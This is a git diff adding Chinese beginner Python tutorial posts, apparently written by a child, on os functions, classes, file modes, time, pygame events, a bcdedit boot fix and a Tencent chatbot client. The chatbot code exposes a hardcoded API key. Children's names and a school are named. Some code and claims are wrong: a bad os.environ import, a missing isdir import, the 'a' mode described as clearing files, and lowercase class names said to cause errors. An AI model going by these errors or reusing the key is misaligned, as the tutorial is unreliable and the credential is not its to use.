+#重命名 2.txt +rename('2.txt','被程序更改后的文件.txt') +``` + +**4.查看指定的路径是否存在、判断所给路径是否为一个文件或目录** + +```python +from os.path import exists,isfile +print(exists('C:\\Windows')) + +print(isfile('C:\\Windows\\explorer.exe')) #文件 +print(isdir('C:\\Windows')) #目录 +``` + +**5.创建目录** + +```python +from os import mkdir,makedirs +makedirs('D:/01/02/03/04/05') #创建多个目录 + +for i in range(1,11): + mkdir('D:/01/02/03/04/05/' + str(i)) +``` + +**6.获取环境变量** + +```python +from os.environ import items +for a,b in items(): + print(a,'----->',b) +``` + +**7.判断系统** + +```python +from os import name + +if name == 'nt': + print('windows') +else: + exit() +``` + +**8.调用命令行** + +```python +from os import system +system('color 0a & echo hello,world!') +``` + diff --git "a/\345\205\263\344\272\216Python\347\232\204\347\261\273.md" "b/\345\205\263\344\272\216Python\347\232\204\347\261\273.md" new file mode 100644 index 0000000..39a34ea --- /dev/null +++ "b/\345\205\263\344\272\216Python\347\232\204\347\261\273.md" @@ -0,0 +1,26 @@ +很多时候我们需要类。 +[大家要是需要看帮助文档,请点击这里。](https://docs.python.org/zh-cn/3.6/tutorial/classes.html) + +下面看一个简单的例子: + +```python +#注意,创建类的关键字是class +#有个要求,Python类的第一个字母必须大写 +class Person(): #创建“人”的类 + def __init__(self,name,age,school,grade,classes,number): #储存属性(可以为空) + self.name = name #属性,可以设任意个,任意数据类型 + self.age = age + self.school = school + self.grade = grade + self.classes = classes #避免命名为关键字 + self.number = number + def output(self): + print('%s学校%s年级%s班的%s同学,%s岁,学号是%s' % (self.school,self.grade,self.classes,self.name,self.age,self.number)) #输出信息 + +#对象调用 +person = Person('潘道熹',11,'石家庄市长安区行知小学',4,3,'123456789') +person.output() +``` +效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20200823110521500.png#pic_center) + diff --git "a/\345\205\263\344\272\216\344\273\245\345\211\215\345\217\230\351\207\217\345\221\275\345\220\215\350\257\264\346\263\225\347\232\204\346\233\264\346\255\243.md" "b/\345\205\263\344\272\216\344\273\245\345\211\215\345\217\230\351\207\217\345\221\275\345\220\215\350\257\264\346\263\225\347\232\204\346\233\264\346\255\243.md" new file mode 100644 index 0000000..84fc498 --- /dev/null +++ "b/\345\205\263\344\272\216\344\273\245\345\211\215\345\217\230\351\207\217\345\221\275\345\220\215\350\257\264\346\263\225\347\232\204\346\233\264\346\255\243.md" @@ -0,0 +1,11 @@ +我前期在文章[《一、变量及标准输出输入》](https://blog.csdn.net/PanDaoxi2020/article/details/108292687)写过这样一段内容: + +> 变量也是有命名规则的,只能含有字母、数字、下划线(`_`)组成,且不能以数字开头,请牢记这一点。 + +现在我更正一下,**`Python`是可以支持部分关键字或汉字作为变量名的,这是`Python 3`的新版特性,对于旧版`Python 2`是不支持的。** + +```python +姓名 = '潘道熹' +print(f'我是{姓名},你好!') +``` +而且在某种情况下,可能会导致乱码,不建议使用。 diff --git "a/\345\205\263\344\272\216\351\200\200\347\253\231\347\232\204\344\272\213.md" "b/\345\205\263\344\272\216\351\200\200\347\253\231\347\232\204\344\272\213.md" new file mode 100644 index 0000000..ddca834 --- /dev/null +++ "b/\345\205\263\344\272\216\351\200\200\347\253\231\347\232\204\344\272\213.md" @@ -0,0 +1,2 @@ +由于学业压力,我即将退出CSDN,账号也将注销,敬请谅解。 + diff --git "a/\345\210\240\351\231\244Windows\346\227\240\346\263\225\345\220\257\345\212\250\347\232\204\351\241\271.md" "b/\345\210\240\351\231\244Windows\346\227\240\346\263\225\345\220\257\345\212\250\347\232\204\351\241\271.md" new file mode 100644 index 0000000..9c00260 --- /dev/null +++ "b/\345\210\240\351\231\244Windows\346\227\240\346\263\225\345\220\257\345\212\250\347\232\204\351\241\271.md" @@ -0,0 +1,15 @@ +以前电脑出现问题,使用的是云骑士修复,安装在了本地磁盘,然后不用了,看着不舒服,就想给他删了。可是按照网上的方法(即通过系统实用程序`msconfig`删除多余的启动项),我删除了其中一个,但是`YunQishi Support`这个项无法删除,也无法打开,缺失引导,每次开机都需要选择系统。我很苦恼,在今天看到了`bcdedit`命令,于是记录了这次的修复过程。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/caa27b3edd9349f78442f450abdd3f0b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +(启动时遇到的问题) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a9584e07fed74fe6b0b9d7c104d3d4d0.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +(网上的方法没有成功) +打开管理员模式的命令提示符,输入`bcdedit`,找到出现问题的一项 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/a542c1dcba8e43da83d198497cfe3d27.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/f7cf67b0553d4e82a5453b04246175a5.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +复制这一项,输入命令`bcdedit /delete 复制的东西`(每台电脑都不一样,注意不要瞎删别的东西),一般就可以修复了。如果还不行的话,找一个PE,修复一下引导即可修复。 +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/74e60443a6c646a4b4962a48ab5e11ff.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +(删除完成后的显示) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/e2c36fba8e1447ca8d2ca8461880817b.png?x-oss-process=image/watermark,type_ZHJvaWRzYW5zZmFsbGJhY2s,shadow_50,text_Q1NETiBA5r2Y6YGT54a5,size_20,color_FFFFFF,t_70,g_se,x_16) +(正确的内容) + +如果实在不行,就把启动管理器的等待时间设为0,也可以解决,效果就是启动管理器一闪而过。 diff --git "a/\345\210\266\344\275\234 \345\270\256\345\212\251\346\226\207\346\241\243 \346\227\266\347\232\204\346\255\245\351\252\244.md" "b/\345\210\266\344\275\234 \345\270\256\345\212\251\346\226\207\346\241\243 \346\227\266\347\232\204\346\255\245\351\252\244.md" new file mode 100644 index 0000000..690b9da --- /dev/null +++ "b/\345\210\266\344\275\234 \345\270\256\345\212\251\346\226\207\346\241\243 \346\227\266\347\232\204\346\255\245\351\252\244.md" @@ -0,0 +1,23 @@ +我们通常在完成一些大项目时要写说明书,那么要将它发布在网上,才能使使用者清楚怎么用。今天我就来告诉大家如何制作一篇帮助文档。需要准备的材料如下: + +> 1.需要可用的网络 +> 2.需要一个QQ账号 +> 3.需要`百度翻译`和`腾讯文档`的网络地址 +> 4.一个**蓝奏网盘**账号 +> 5.(可选)一个`CSDN博客`账号 + +百度翻译的地址:`https://fanyi.baidu.com/`(使用它的目的是翻译为英文) +腾讯文档的地址:`https://docs.qq.com/`(登录以后在这里写使用说明) + +我们打开[腾讯文档](https://docs.qq.com/)后,点击“立即使用”,登录QQ账号,应该是这个样子的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110213409892.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +点击“新建”,下拉栏中有“文档”,进入创作页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110213622838.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +需要英文翻译,可以到百度翻译去翻译,但是要是不准的话,需要你手动去更改。 + +如果编辑好了,点击右上方的“分享”, +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110213728173.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +如果要用`markdown`编辑器,可以用`csdn博客`,效果也不差,非常好。 + + +点击“复制链接”,完成。也可以生成海报,贴到程序里,很好用。它在后期随时可以更新,程序可以随时打包上传到**蓝奏网盘**的文件夹里边,这是一个好方法,希望大家学会。 diff --git "a/\345\210\266\344\275\234\344\270\200\344\270\252\350\201\212\345\244\251\346\234\272\345\231\250\344\272\272.md" "b/\345\210\266\344\275\234\344\270\200\344\270\252\350\201\212\345\244\251\346\234\272\345\231\250\344\272\272.md" new file mode 100644 index 0000000..af745bd --- /dev/null +++ "b/\345\210\266\344\275\234\344\270\200\344\270\252\350\201\212\345\244\251\346\234\272\345\231\250\344\272\272.md" @@ -0,0 +1,59 @@ +不好意思,这个接口我的开发者密钥已过期,请替换为自己的。 + +使用腾讯的`人机闲聊API接口`完成: + +```python +from hashlib import md5 +from time import time +from random import sample +import string +from os import system,name +from urllib.parse import quote +from requests import post + +def curlmd5(src): + m = md5(src.encode('UTF-8')) + return m.hexdigest().upper() + +def get_params(plus_item): + global params + t = time() + time_stamp = str(int(t)) + nonce_str = ''.join(sample(string.ascii_letters + string.digits, 10)) + app_id='2163266485' + app_key='a0LYjIDhQYcRhSY6' + params = {'app_id' : app_id, + 'question' : plus_item, + 'time_stamp' : time_stamp, + 'nonce_str' : nonce_str, + 'session' : '10000' + } + sign_before = '' + for key in sorted(params): + sign_before += '{}={}&'.format(key,quote(params[key], safe='')) + sign_before += 'app_key={}'.format(app_key) + sign = curlmd5(sign_before) + params['sign'] = sign + return params + +def get_content(plus_item): + global payload,r + url = "https://api.ai.qq.com/fcgi-bin/nlp/nlp_textchat" + plus_item = plus_item.encode('utf-8') + payload = get_params(plus_item) + r = post(url,data=payload) + content = r.json() + if content['ret'] == 0: + return '输出 >>> ' + str(content["data"]["answer"]) + else: + return '错误 >>> ' + str(content['msg']) + +if __name__ == '__main__' and name == 'nt': + system('chcp 65001 >nul & color 0A & title 聊天') + while 1: + print(get_content(input('输入 >>> '))) +else: + print('请使用Windows系统运行此程序!') + +``` +参考:[《Python3 调用腾讯AI开放平台之智能闲聊与情感分析》](https://blog.csdn.net/xueaalei1/article/details/83344103) diff --git "a/\345\210\266\344\275\234\345\270\256\345\212\251\346\226\207\346\241\243\346\227\266\347\232\204\346\255\245\351\252\244.md" "b/\345\210\266\344\275\234\345\270\256\345\212\251\346\226\207\346\241\243\346\227\266\347\232\204\346\255\245\351\252\244.md" new file mode 100644 index 0000000..690b9da --- /dev/null +++ "b/\345\210\266\344\275\234\345\270\256\345\212\251\346\226\207\346\241\243\346\227\266\347\232\204\346\255\245\351\252\244.md" @@ -0,0 +1,23 @@ +我们通常在完成一些大项目时要写说明书,那么要将它发布在网上,才能使使用者清楚怎么用。今天我就来告诉大家如何制作一篇帮助文档。需要准备的材料如下: + +> 1.需要可用的网络 +> 2.需要一个QQ账号 +> 3.需要`百度翻译`和`腾讯文档`的网络地址 +> 4.一个**蓝奏网盘**账号 +> 5.(可选)一个`CSDN博客`账号 + +百度翻译的地址:`https://fanyi.baidu.com/`(使用它的目的是翻译为英文) +腾讯文档的地址:`https://docs.qq.com/`(登录以后在这里写使用说明) + +我们打开[腾讯文档](https://docs.qq.com/)后,点击“立即使用”,登录QQ账号,应该是这个样子的: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110213409892.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +点击“新建”,下拉栏中有“文档”,进入创作页面: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110213622838.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +需要英文翻译,可以到百度翻译去翻译,但是要是不准的话,需要你手动去更改。 + +如果编辑好了,点击右上方的“分享”, +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20201110213728173.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70#pic_center) +如果要用`markdown`编辑器,可以用`csdn博客`,效果也不差,非常好。 + + +点击“复制链接”,完成。也可以生成海报,贴到程序里,很好用。它在后期随时可以更新,程序可以随时打包上传到**蓝奏网盘**的文件夹里边,这是一个好方法,希望大家学会。 diff --git "a/\345\215\201\343\200\201\346\226\207\344\273\266\347\232\204\346\223\215\344\275\234.md" "b/\345\215\201\343\200\201\346\226\207\344\273\266\347\232\204\346\223\215\344\275\234.md" new file mode 100644 index 0000000..01136a8 --- /dev/null +++ "b/\345\215\201\343\200\201\346\226\207\344\273\266\347\232\204\346\223\215\344\275\234.md" @@ -0,0 +1,195 @@ +我们学习新课时,会将一个项目分成几部分。 +我们的项目叫做《抗击病毒》,素材我下载好了,在文件夹里,后期我会提供下载地址,项目流程: +`网络请求检测玩家颜值` → `游戏引入界面` → `游戏主页面` +为了把多个文件连接到一起,如果点开一个文件就直接显示,比如说打开`游戏引入界面`后直接可以打开`游戏主页面`,那不是就少了一个环节嘛? +为了保证游戏运行效果完整,我们务必保证程序从第一项开始运行。当我们进入下一个页面时,必须要有运行的条件。 +我们每一个程序的最后都创建一个文件,然后通过命令打开下一个环节,下一个环节检查是否有这个文件。如果有,那么可以运行;如果没有,那么返回上一个环节。 + +
+ +## 认识`open()` +我们要使用一个文件,首先要打开它,通过一个对象,打开文件,再调用里面的内容。`read()`用于读取,`write()`用于输出。 + +|模式|描述 | +|--|--| +| r|只读模式 | +| rb|以二进制模式打开文件| +|r+|读取或写入文件| +|w/w+|写入文件(如果文件不存在,创建新文件书写;如果存在,将其清空后书写)| +|a/a+|追加内容(如果文件不存在,创建新文件书写;如果存在,将其清空后书写)| +|ab|以二进制追加内容| +|wb/wb+|二进制打开文件写入| + +官方所给的`open()`使用说明如下: + +```python +Help on built-in function open in module io: + +open(file, mode='r', buffering=-1, encoding=None, errors=None, newline=None, closefd=True, opener=None) + Open file and return a stream. Raise IOError upon failure. + + file is either a text or byte string giving the name (and the path + if the file isn't in the current working directory) of the file to + be opened or an integer file descriptor of the file to be + wrapped. (If a file descriptor is given, it is closed when the + returned I/O object is closed, unless closefd is set to False.) + + mode is an optional string that specifies the mode in which the file + is opened. It defaults to 'r' which means open for reading in text + mode. Other common values are 'w' for writing (truncating the file if + it already exists), 'x' for creating and writing to a new file, and + 'a' for appending (which on some Unix systems, means that all writes + append to the end of the file regardless of the current seek position). + In text mode, if encoding is not specified the encoding used is platform + dependent: locale.getpreferredencoding(False) is called to get the + current locale encoding. (For reading and writing raw bytes use binary + mode and leave encoding unspecified.) The available modes are: + + ========= =============================================================== + Character Meaning + --------- --------------------------------------------------------------- + 'r' open for reading (default) + 'w' open for writing, truncating the file first + 'x' create a new file and open it for writing + 'a' open for writing, appending to the end of the file if it exists + 'b' binary mode + 't' text mode (default) + '+' open a disk file for updating (reading and writing) + 'U' universal newline mode (deprecated) + ========= =============================================================== + + The default mode is 'rt' (open for reading text). For binary random + access, the mode 'w+b' opens and truncates the file to 0 bytes, while + 'r+b' opens the file without truncation. The 'x' mode implies 'w' and + raises an `FileExistsError` if the file already exists. + + Python distinguishes between files opened in binary and text modes, + even when the underlying operating system doesn't. Files opened in + binary mode (appending 'b' to the mode argument) return contents as + bytes objects without any decoding. In text mode (the default, or when + 't' is appended to the mode argument), the contents of the file are + returned as strings, the bytes having been first decoded using a + platform-dependent encoding or using the specified encoding if given. + + 'U' mode is deprecated and will raise an exception in future versions + of Python. It has no effect in Python 3. Use newline to control + universal newlines mode. + + buffering is an optional integer used to set the buffering policy. + Pass 0 to switch buffering off (only allowed in binary mode), 1 to select + line buffering (only usable in text mode), and an integer > 1 to indicate + the size of a fixed-size chunk buffer. When no buffering argument is + given, the default buffering policy works as follows: + + * Binary files are buffered in fixed-size chunks; the size of the buffer + is chosen using a heuristic trying to determine the underlying device's + "block size" and falling back on `io.DEFAULT_BUFFER_SIZE`. + On many systems, the buffer will typically be 4096 or 8192 bytes long. + + * "Interactive" text files (files for which isatty() returns True) + use line buffering. Other text files use the policy described above + for binary files. + + encoding is the name of the encoding used to decode or encode the + file. This should only be used in text mode. The default encoding is + platform dependent, but any encoding supported by Python can be + passed. See the codecs module for the list of supported encodings. + + errors is an optional string that specifies how encoding errors are to + be handled---this argument should not be used in binary mode. Pass + 'strict' to raise a ValueError exception if there is an encoding error + (the default of None has the same effect), or pass 'ignore' to ignore + errors. (Note that ignoring encoding errors can lead to data loss.) + See the documentation for codecs.register or run 'help(codecs.Codec)' + for a list of the permitted encoding error strings. + + newline controls how universal newlines works (it only applies to text + mode). It can be None, '', '\n', '\r', and '\r\n'. It works as + follows: + + * On input, if newline is None, universal newlines mode is + enabled. Lines in the input can end in '\n', '\r', or '\r\n', and + these are translated into '\n' before being returned to the + caller. If it is '', universal newline mode is enabled, but line + endings are returned to the caller untranslated. If it has any of + the other legal values, input lines are only terminated by the given + string, and the line ending is returned to the caller untranslated. + + * On output, if newline is None, any '\n' characters written are + translated to the system default line separator, os.linesep. If + newline is '' or '\n', no translation takes place. If newline is any + of the other legal values, any '\n' characters written are translated + to the given string. + + If closefd is False, the underlying file descriptor will be kept open + when the file is closed. This does not work when a file name is given + and must be True in that case. + + A custom opener can be used by passing a callable as *opener*. The + underlying file descriptor for the file object is then obtained by + calling *opener* with (*file*, *flags*). *opener* must return an open + file descriptor (passing os.open as *opener* results in functionality + similar to passing None). + + open() returns a file object whose type depends on the mode, and + through which the standard file operations such as reading and writing + are performed. When open() is used to open a file in a text mode ('w', + 'r', 'wt', 'rt', etc.), it returns a TextIOWrapper. When used to open + a file in a binary mode, the returned class varies: in read binary + mode, it returns a BufferedReader; in write binary and append binary + modes, it returns a BufferedWriter, and in read/write mode, it returns + a BufferedRandom. + + It is also possible to use a string or bytearray as a file for both + reading and writing. For strings StringIO can be used like a file + opened in a text mode, and for bytes a BytesIO can be used like a file + opened in a binary mode. + + +``` + +
+ +## 写写代码 + +做个小测试: +```python +text = open('file1.txt','w',encoding = 'utf-8') #创建一个新的文件file1.txt,用utf-8编码打开 +text.write('Hello,world!') #写入文件 +text.close() #关闭文件,否则会将系统资源耗尽 +``` +我们为了避免忘了关闭文件,代码写成这样: + +```python +with open('file1.txt','w',encoding = 'utf-8') as text: + text.write('你好,世界!') +``` +读取文件: + +```python +with open('file1.txt','r',encoding = 'utf-8') as text: + #请确保file1.txt文件存在,里面含有内容 + print(text.read()) +``` + +
+ +## 判断文件是否存在 +我们可以使用`os.path.exists`判断文件或文件夹是否存在。 + +```python +from os.path import exists +# 文件路径↓ +if exists('C:/Windows/System32/cmd.exe'): + print('存在') +else: + print('不存在') +``` + +
+ +```python +练习题 +判断C:/Windows/explorer.exe是否存在,如果存在输出“存在”;不存在输出“不存在”。 +``` + diff --git "a/\345\215\201\344\270\200\343\200\201\350\216\267\345\217\226\346\227\266\351\227\264.md" "b/\345\215\201\344\270\200\343\200\201\350\216\267\345\217\226\346\227\266\351\227\264.md" new file mode 100644 index 0000000..3422ac4 --- /dev/null +++ "b/\345\215\201\344\270\200\343\200\201\350\216\267\345\217\226\346\227\266\351\227\264.md" @@ -0,0 +1,58 @@ +我们在以后的游戏制作课程中,需要与时间打交道。我们即将认识一个新的模块——`time`模块。 + +
+ +## 它能干嘛? +顾名思义,这个模块的名字在英文中的含义是“时间”,它里面封装了很多关于时间的功能,比如说:获取当前时间,格式化时间等。 + +
+ +## 怎么使用它? +老操作,我们打开一个空白文件,先导入它: + +```python +from time import time,strftime,sleep +``` +然后,我们来试下`time.time()`函数: + +```python +print(time()) +``` +返回了一个浮点数: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210125111219301.png) +返回的是自`格林尼治时间 1970年1月1日0时 ~ 现在`的总秒数,这个数字称为**时间戳**。我们可以使用这个代码来获取时间过去了多少秒。 + +
+ +
+ +如果我们要延时几秒钟,可以使用这个代码: + +```python +print('延时前时间:',int(time())) +sleep(3) +print('延时后时间:',int(time())) +``` +三秒钟过去后,看一下结果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210125111841915.png) +如果不是调用也用到时间,结果连小数位数也是不变的。这个代码可以让我们在某一个程序内等待几秒钟,考虑到我们并没有学习多线程的知识,我们在游戏中并不使用它。 + +
+ +
+ +我们看到`time.time()`返回的时间戳我们不经过计算无法看懂,这时候就要用到`time.strftime()`格式化时间了。 +[由于我在前期写过这类文章,在这里就不再赘述了,请点这句话打开文章。](https://blog.csdn.net/PanDaoxi2020/article/details/108145869) + +```python +strftime('%Y-%m-%d %H:%M:%S') +``` + +
+ +```python +练习题 +1.做一个定时炸弹,在5秒后,输出“BOOM!” +2.死循环输出当前时间,每隔一秒输出一次。 +``` + diff --git "a/\345\215\201\344\270\203\343\200\201PyGame\344\272\213\344\273\266.md" "b/\345\215\201\344\270\203\343\200\201PyGame\344\272\213\344\273\266.md" new file mode 100644 index 0000000..dc35c88 --- /dev/null +++ "b/\345\215\201\344\270\203\343\200\201PyGame\344\272\213\344\273\266.md" @@ -0,0 +1,81 @@ +> 我们昨天在窗口上绘制了一张图片,今天我们来完善一下**游戏的引入**功能。 + +我们发现,昨天我们绘制的一张图片右下角有一个按钮,当玩家点击按钮时,我们切换到另一个文件。可是我们昨天发现点击按钮是没有效果的,今天我们就来完善这个功能。 + +
+ +# 事件都有哪些? +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210129111035214.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +(表格来自:[《PyGame事件》](https://blog.csdn.net/Hubz131/article/details/86718684)) + + +
+ +# 我们在哪写代码? + +今天我们要在`event`函数内写一些代码,在开头写一些代码。 + +
+ +# 开始写吧! + +## 在`event`函数内,添加一个判断事件的语句 +我们找到`event`函数,没有改以前是这样: +```python +#处理事件函数 +def event(): + for event in pygame.event.get(): #遍历窗口的事件 + if event.type == QUIT: #如果是退出事件 + pygame.quit() #关闭窗口 + exit() #退出程序 +``` +现在,我们要在循环内加一个判断,如果发生了鼠标按下事件…… + +```python +#处理事件函数 +def event(): + for event in pygame.event.get(): #遍历窗口的事件 + if event.type == QUIT: #如果是退出事件 + pygame.quit() #关闭窗口 + exit() #退出程序 + if event.type == MOUSEBUTTONDOWN: #如果是鼠标按下事件 + if event.button == 1: #如果是左键 + pos = event.pos #获取鼠标的位置 + mouseX = pos[0] # X坐标 + mouseY = pos[1] # Y坐标 + if 650 <= mouseX <= 990 and 510 <= mouseY <= 585: #如果点击区域是按钮 + pygame.quit() #关闭当前PyGame窗口 + with open('start.txt','w+') as f: #生成一个空白文件 start.txt + f.write('') #内容为空 + system('python "page2.py"') #打开 page2.py 文件 +``` +可能大家对`650 <= mouseX <= 990 and 510 <= mouseY <= 585`这个表达式有一些不明白,请看图: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210129112634504.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +嘿嘿,好理解不? + +## 在开头判断是否有这个文件 +这一次我们要打开`page2.py`,在昨天练习题的基础上,在`导入图片`注释的上方,写入代码: +```python +if not exists('start.txt'): #如果不存在这个文件 + pygame.quit() #关闭窗口 + system('python "抗击病毒.py"') #回到主程序文件 +else: #如果存在(即通过 page1.py 文件调用命令打开) + remove('start.txt') #删除文件 +``` +先别着急运行,在文件开头`导入包`时,上面写这两行代码: + +```python +from os import system,remove +from os.path import exists +``` +在`page1.py`中,也添加上,再运行`page1.py`,点击下面的按钮,就可以打开`page2.py`了。如果我们直接打开`page2.py`,那么就会回到主程序文件,即`抗击病毒.py`。 + +
+ +```python +练习题 +使用同样的方法,将 page2.py 中也添加上点击按钮进入到 game.py 文件。 +注:按钮区域坐标不变。 +``` + diff --git "a/\345\215\201\344\270\211\343\200\201\347\261\273.md" "b/\345\215\201\344\270\211\343\200\201\347\261\273.md" new file mode 100644 index 0000000..3637206 --- /dev/null +++ "b/\345\215\201\344\270\211\343\200\201\347\261\273.md" @@ -0,0 +1,132 @@ +> 计算机编程中最容易提到两个东西——类和对象。我们正在研究学习的语言起初的目的就是面向对象,所以我们想要创建一个结构体时非常简单。 + +我们先看下定义: + +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210119142141382.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210119142231737.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) +
+ +## 语法结构 + +> 类必须要在创建后才能使用,想要定义一个类就是定义这一类对象的模板,定义它的属性与方法。 + ——参考《零基础Python从入门到精通》 + + +```python +class 类的名字(): + 运行代码 +``` + +要注意的是,创建类的关键字是`class`,类的名字与变量的命名要求相同,但是类的名字首字母要大写,要大写!否则会报错的。 +我们来创建一个类试下: + +```python +class Person(): + pass +``` +尽管这个类里面没有写东西,只放了一个占位符,但是这并不影响它的存在。 + +
+ +## 小试牛刀 +我们来创建一个人的类: + +```python +class Person(): #创建一个类 + def __init__(self): #初始化方法,储存三个属性 + self.age = 11 + self.name = '潘道熹' + self.language = '简体中文' + def output(self): #输出这些属性的方法 + print(self.age,self.name,self.language) #依次输出,访问属性时直接输入 self.属性 即可 + +#对象 +person = Person() +person.output() +``` +成功输出。 +其中的`age,name,language`都称为**属性**。这些属性还可以在实例化时给出: + +```python +class Person(): #创建一个类 + def __init__(self,age,name,language): #初始化方法,储存三个属性(因为我们要在实例化时给出,将它们放在这里) + self.age = age + self.name = name + self.language = language + def output(self): #输出这些属性的方法,注意括号里有一个self,要告诉程序这个方法属于Person类 + print(self.age,self.name,self.language) #依次输出,访问属性时直接输入 self.属性 即可 + +#对象 +pan = Person(11,'潘道熹','简体中文') +liu = Person(11,'刘思言','简体中文') #把我朋友的名字也储存到对象中,哈哈 + +#可以多次使用 +pan.output() +liu.output() +``` +可以在列表内使用,方便我们储存多个对象: + +```python +class Person(): #创建一个类 + def __init__(self,age,name,language): #初始化方法,储存三个属性(因为我们要在实例化时给出,将它们放在这里) + self.age = age + self.name = name + self.language = language + def output(self): #输出这些属性的方法,注意括号里有一个self,要告诉程序这个方法属于Person类 + print(self.age,self.name,self.language) #依次输出,访问属性时直接输入 self.属性 即可 + +#对象 +friends = [ + Person(11,'潘道熹','简体中文'), + Person(11,'刘洁瑞','简体中文'), + Person(11,'郭浩霖','简体中文'), + Person(11,'张泽宇','简体中文'), + Person(11,'陈柏年','繁体中文') + ] + +#调用 +for i in friends: + i.output() +``` +实现效果: +![在这里插入图片描述](https://pic.2ge.org/cdn/?url=https://img-blog.csdnimg.cn/20210126104041509.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L1BhbkRhb3hpMjAyMA==,size_16,color_FFFFFF,t_70) + +这个在我们以后的课中非常有用,务必学会此功能! + +
+ +## 类的继承 +举一个生活中的例子: + +> 小明、小军是好朋友。他们的老师有音乐天赋,但是只有小军一个人有音乐天赋,如果要一个一个的使用类,太麻烦了。该怎么办呢?这时候我们需要一个父类,来让我们继承(注意父类的括号内有一个`object`,子类里面有父类的名字): + +```python +class MusicTeacher(object): + def __init__(self): + self.type = '有' + self.name = '老师' + def output(self): + print('我是',self.name,',我',self.type,'天赋') + +class XiaoJun(MusicTeacher): + def __init__(self): + self.type = '有' #重写,因为小军和老师的信息不一样 + self.name = '小军' + +class XiaoMing(MusicTeacher): + def __init__(self): + self.type = '无' + self.name = '小明' + +XiaoJun().output() +XiaoMing().output() +``` +仅作为拓展理解。 + +
